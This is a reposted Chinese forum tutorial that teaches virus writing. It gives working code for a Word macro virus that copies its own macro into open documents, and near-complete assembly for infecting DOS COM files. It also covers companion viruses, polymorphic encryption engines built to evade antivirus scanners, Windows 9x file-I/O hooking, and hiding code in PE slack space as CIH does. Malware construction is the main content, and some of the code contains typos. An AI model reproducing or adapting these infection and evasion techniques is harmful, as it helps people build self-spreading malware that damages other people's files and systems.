[转载]病毒教程
信息来源:KIG业余研究组病毒教程
病毒讲座(1) 伴侣病毒
伴侣病毒是钻了DOS命令解释的空子.DOS下的命令,首先查找内部命令,
然后是COM文件,然后是EXE文件,最后是BAT文件.思想:捕获INT 21,AH=4B;
如果是执行EXE文件,则将病毒体考入同名的COM文件.则在命令行下,执行
该EXE文件时会先执行COM文件,激活病毒.更进一步,DOS执行文件不是通过
扩展名来确定格式,而是通过文件头,将EXE文件改名为COM(或相反)没有任
何的影响.改进后的病毒,对COM的执行做个判断,如不存在同名的EXE文件则
将COM文件改名为EXE,将病毒写入同名的COM文件.
这是一种很好写的病毒,并且不改动EXE文件,可以骗过一些早期的防毒
软件,但是由于和EXE文件分离,通过拷贝传播的可能性不大.
病毒讲座(2) 宏病毒
事实上并不仅是Office中的VBA可以用来写病毒,任何有文件I/O功能
的SCRIPT都可以,如:ASP中的VBSCRIPT,WINDOWS中的SCRIPT,STAROFFICE中
的MACRO,DOS中的BAT,UNIX中的SHELLSCRIPT等.考虑传播的可能性,以WORD
为首位.以下说明WORD中的MacroVirus制作.
*AutoMacro
这里所说的AutoMacro不只是AutoOpen一类的宏.还包括DocumentOpen,
DocumentClose一类,在执行必要操作时会触发的事件.病毒触发是要在隐含
在正常的操作中,这些必然执行的宏就是最好的宿主.
*访问病毒体,ActiveDocument和NormalTemplate要用到的对象
MacroContainer:当前Macro所在的Container
ActiveDocument,NormalTemplate: 顾名思义,不用说了.
*访问宏代码的对象(方法)
class.VBProject.VBComponents.Item(1).Codemodule(class为Macro
-Container,ActiveDocument,NormalTemplate中的一个),为指向宏的对象.
主要的方法:
string Lines(StartLine,Lines) 返回由StartLine开始的Lines行
InsertLines Location,Strings 将Strings插入到由Location指定的行
以下是一个将MacroContainer的Sub Document_close()写到ActiveDocument
的例子,改一下就是个宏病毒了^_^:
Sub Document_close()
set m=MacroContainer.VBProject.VBComponents.Item(1).CodeModule
set a=ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
for i=1 to m.CountOfLines
str=m.Lines(i,1)
if str="Sub Document_close() then Exit For
next
j=1
Label_01:
a.InsertLines j,str
if str="End Sub" goto Label_02
j=j+1
i=i+1
str=m.Lines(i,1)
goto Label_01
Label_02:
End Sub
--
病毒讲座(3) 感染COM文件
COM文件是纯粹代码映象,加载后在内存中的映象如下:
CS=DS=ES=SS
CS:0000-〉+----------+
| PSP |
IP(0100)-〉+----------+
| COM FILE |
SP(FFFE)-〉+----------+
| dw 0000 |
+----------+
因此COM文件的最大SIZE为 64K-100h bytes - 1 word
感染COM的典型做法如下:
cs:0100 jmp endoffile ;db 0e9h
;dw size of com file
...
endoffile:
virusstart:
virus code
mov ax,orgcode
mov [100],ax
mov al,[orgcode+2]
mov [102],al
virussize=$-virusstart
resume:
jmp 100 ;db 0e9h
;dw -(sizeofcom+virussize)
orgcode db 3 dup (?) ;由原文件由0100开始的三个字节
感染文件,先将开始的三字节保存在orgcode中,然后更改为0E9H,SIZEOFCOMFILE.
将resume开始的三字节改为0E9H,-(sizeofcom+virussize).将病毒写入com文件的末尾.
(是不是很简单^_^).
完整的感染代码还需要有已感染的判断,和文件大小的判断.如下:
假设DS:DX指向文件名VirusSize,VirusStart的定义如上.并以下的修改:
保存开始的四个字节用
db 90h,0E9h
dw sizeofcom
替换,以0E990h为感染标记
...
mov ax,3d01h
int 21h ;open for r/w
jc OpenError
push dx
xchg ax,bx
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;seek to end
or dx,dx
jnz complete ;file larger than 64k,donot infect
cmp ax,0FEEEh-VirusSize-11
jnb complete ;com file too large for infect
cmp ax,4
jb complete ;file less than 4 bytes,donot infected
mov di,offset orgcode
mov [di+6],ax
add [di+6],VirusSize ;generate code to replace
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;seek to begin
mov cx,4
mov dx,di
mov ah,3fh
int 21h ;read 4 bytes
jc complete
cmp word ptr [di],0E990h
;if has been infected,should be
;nop
;jmp XXXX
jz complete
mov cx,4
add dx,cx
mov ah,40h
int 21h ;write 4 byte to the beginning
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;seek to end
mov ah,40h
mov dx,VirusStart
mov cx,VirusSize+11
int 21h ;write Virus Code to COM
complete:
mov ah,3fh
int 21h ;close file
ErrorOpen:
...
--
病毒讲座(4) 变形病毒(变形引擎)
病毒由无加密到简单加密发展到变形病毒.
早期的简单加密病毒工作范例如下:
@entry:
call @1
@1: pop bp
lea di,[bp+@3-@1]
@2: xor byte ptr cs:[di],0
@key = $-1
inc di
loop @2
@3: ... ;病毒的主要代码
@4: ;这里假设,es:di指向用于储存加密后代码的缓冲区
mov cx,@end-@entry
lea si,[bp+@entry-@1]
push ds
push cs
pop ds
in al,41h
mov byte ptr [@key],al ;可将由41h端口读入的timer作为key
rep movsb
lea si,[di+@3-entry]
mov cx,@end-entry
@5: xor byte ptr es:[si],al
inc si
loop @5
...
@end:
用一个简单的xor操作,以timer值作为KEY对代码进行加密.由此病毒的主体
可能有256种变化,用一个更长的KEY可以得到更多的变化.但是用于解密的代码却
是不变的,这是简单加密病毒的弱点.
看看以下这个稍作修改的例子:
@entry:
call @1
@1: mov ax,12h
pop bp
sub ax,cx
lea di,[bp+@3-@1]
@2: add ax,bx
xor bype ptr cs:[di],0
@key =$-1
jnz $+2
inc di
mov ax,[12h]
loop @2
@3:
...
它和上面的例子功能是一样的,但看上去却是不同的代码.这就是变形病毒的
关键:产生一些无用的代码夹在解密的代码中,使得每次的解密代码看上去是不一
样的.
选择垃圾代码的原则:1.不会破坏有用的REGISTER;2.不改变MEMORY的内容;
3.解密代码要用FLAGS时也不能改变FLAGS.上面的例子中只需遵循1,2.
一个由普通病毒改为变形病毒的例子如下:
VirusEntry:
...
infect:
.286c
push offset VirusEntry
push offset buffer
call Encrypt ;encrypt virus to buffer
... ;merge buffer to executable file
Encrypt proc near
decrypt:db sizeof(call $+5),rawcode(call $+5) ;定义如下,
db sizeof(pop bp),rawcode(pop bp) ;一条代码的长度
;代码的机器码
...
db 0
;repeat
;generate junk code and write buffer
;wirte one decrypt code to buffer
;untile all decrypt code has been written
;encrypt virus and wirte buffer
ret
endp
一个变形引擎可以用于任何病毒源码,使它成为一个
变形病毒.这就是变形引擎的工作原理.
病毒讲座 - 截留Windows的File I/O操作
主要是要截留文件I/O操作。
Windows下截留文件I/O操作有几种方法,在病毒中使用的
主要有两种。
1、使用VxDCallIFSMgr_InstallFileSystemHook
2、截留Kernel32.dll中导出的第一个函数VxDCall对DOS
INT 21的呼叫(EAX=2A0010)。
VxDCall的代码如下:
mov eax,dword ptr [esp+04]
pop dword ptr [esp]
call fword ptr cs:[xxxxxxxx]
^^^^^^^^只要将这个地址指向的地址改为自己的过程入
口,
就捕获了所有的VxDCall。
进入这个过程时:
eax=service number,如果是DOS INT 21将是2A0010
esp[2c]调用Int 21时eax的值
~~~~ 算漏了个pushad,应该是10h
esp[30] 调用int 21时ecx的值
~~~~14h
其他寄存器为调用时所需的值。(段寄存器无用)
以后的就和在DOS下写病毒没什么差别了。
病毒讲座 - Win9X下的病毒
本文假定你对dos下的病毒和386PM有一定的了解。
1、感染
任何一个病毒都需要有寄主,把病毒代码加入寄主程序中(伴侣病毒除外)。
以下说明如何将病毒代码嵌入PE文件中,有关PE文件的结构请看以前的文章。
PE文件的典型结构:
MZ Header
DOS STUB CODE
PE HEADER
OPTIONAL HEADER
SECTION TABLE
SECTION 1
SECTION 2
...
IMPORT TABLE
EXPORT TABLE
和DOS的可执行文件类似,PE的代码映象分为几个SECTION,在文件中会对齐
页边界(4K)。一般来说,文件会加载在400000h开始的空间,而第一个SECTION
在401000h处,同时入口地址也是401000h。由高级语言编写的程序,每个SECTIO
-N的长度不可能刚好是4K的倍数,因此在SECTION的末尾将会存在一段未用的空间
,
大小可由Section的PHYSICAL SIZE-VIRTUAL SIZE得到,在文件中起始位置可由
PHYSICAL OFFSET得到,这段空间可以用来存放病毒代码。此外一般来说,
MZ Header+DOS STUD+PE HEADER+OPTIONAL HEADER+SECTION TABLE不过1K左右,
而SECTION 1由4K开始,空出来的地方足够存放一个设计精良的病毒。CIH就是将
代码存放在这些空闲空间里。
2、分配驻留所需内存
对于驻留形的病毒,分配驻留所需内存是必需的。在DOS下使用由于所有的
应用程序都映射在相同的线性地址空间里,使用一般的内存分配调用就足够了。
而在WIN32下,每个应用程序都有自己的线性地址空间,必须使用特殊的函数分
配2GB以上的系统地址。典型的如:VXD服务_PageAllocate,和kernel32的
VxDCALL
_PageReserve。_PageAllocate请参看win98ddk中的说明,VxDCall
_PageReserve
请参看HPS源码中的注释。
3、截留FILE I/O操作
驻留型的病毒通过截留FILE I/O来激活,可以通过使用VXD服务
IFSMgr_Install-FileSystemAPIHook(如CIH)或截留VxDCall中的DOS Services
callback(如HPS)。
页:
[1]